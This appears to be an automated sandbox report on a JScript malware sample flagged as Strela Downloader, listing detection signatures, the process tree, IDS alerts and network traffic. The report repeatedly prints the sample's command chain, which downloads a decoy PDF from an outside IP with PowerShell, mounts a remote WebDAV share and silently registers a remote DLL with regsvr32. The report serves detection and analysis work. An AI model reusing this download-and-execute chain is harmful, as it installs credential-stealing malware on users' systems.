Edit tour

Windows Analysis Report
1732630681161426175.js

Overview

General Information

Sample name:	1732630681161426175.js
Analysis ID:	1587869
MD5:	58240dfc1cf3e3f906e69990d9f1f202
SHA1:	75db89a3f50b21b35d44e8e529050a9cc1961c7e
SHA256:	529e859854aa950610025abc1187ae88eb40d4f9ff2f6df9ff6b1cdb2934ddbe
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 3340 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1732630681161426175.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 2160 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3284 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2340 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 3068 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6952 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 1976 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1636,i,7742756982774977523,2339685933907997932,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6816 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 1292 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

conhost.exe (PID: 2288 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 4080 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 3340	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2160, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2340, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2160, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2340, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1732630681161426175.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1732630681161426175.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1732630681161426175.js", ProcessId: 3340, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 1292, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1732630681161426175.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3340, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll, ProcessId: 2160, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1732630681161426175.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3340, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll, ProcessId: 2160, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1732630681161426175.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3340, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll, ProcessId: 2160, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1732630681161426175.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3340, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll, ProcessId: 2160, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1732630681161426175.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3340, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll, ProcessId: 2160, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1732630681161426175.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1732630681161426175.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1732630681161426175.js", ProcessId: 3340, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2160, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2340, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6816, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1292, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 4080, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6816, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1292, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1732630681161426175.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3340, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll, ProcessId: 2160, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T18:49:34.717375+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T18:49:31.713785+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1732630681161426175.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1732630681161426175.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:49:31 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.8:49705 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.8:59833 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

